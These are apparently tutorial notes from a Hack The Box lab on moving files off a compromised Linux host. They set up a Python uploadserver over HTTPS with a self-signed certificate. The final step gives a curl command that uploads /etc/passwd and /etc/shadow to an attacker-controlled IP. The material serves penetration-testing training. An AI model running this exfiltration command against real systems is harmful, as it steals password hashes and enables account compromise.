🌐 Web Upload with HTTPS 🚀

Securely upload files from a compromised Linux machine using a tool called uploadserver — a Python module that comes with a built-in file upload page! 📂🔐

---

🐍 Step 1: Install uploadserver

We’ll use Python’s pip tool to install uploadserver locally on our box (Pwnbox in this case):

z3tssu@htb[/htb]$ sudo python3 -m pip install --user uploadserver

📦 You should see something like:

Collecting uploadserver
Successfully installed uploadserver-2.0.1

✅ Boom! It's installed!

---

🔐 Step 2: Create a Self-Signed Certificate 🧾🔒

We need a certificate for HTTPS. Here's how to create a quick self-signed one:

z3tssu@htb[/htb]$ openssl req -x509 -out server.pem -keyout server.pem -newkey rsa:2048 -nodes -sha256 -subj '/CN=server'

💡 This generates a certificate and key, both saved in server.pem.

---

🗂️ Step 3: Create a Folder for Your Web Server

Let’s keep things tidy by making a directory to serve the files from:

z3tssu@htb[/htb]$ mkdir https && cd https

---

🚀 Step 4: Launch the Web Server with HTTPS

Now, run uploadserver using your certificate on port 443 (HTTPS):

z3tssu@htb[/htb]$ sudo python3 -m uploadserver 443 --server-certificate ~/server.pem

🌍 You should see:

File upload available at /upload
Serving HTTPS on 0.0.0.0 port 443 (https://0.0.0.0:443/) ...

---

📤 Step 5: Upload Files from the Target Machine 💻➡️🌐

From the compromised Linux machine, let’s upload two sensitive files:

curl -X POST https://192.168.49.128/upload \
  -F 'files=@/etc/passwd' \
  -F 'files=@/etc/shadow' \
  --insecure

⚠️ Why --insecure? Because we’re using a self-signed cert that isn't trusted by default. But it’s okay here — we trust it 😎.

---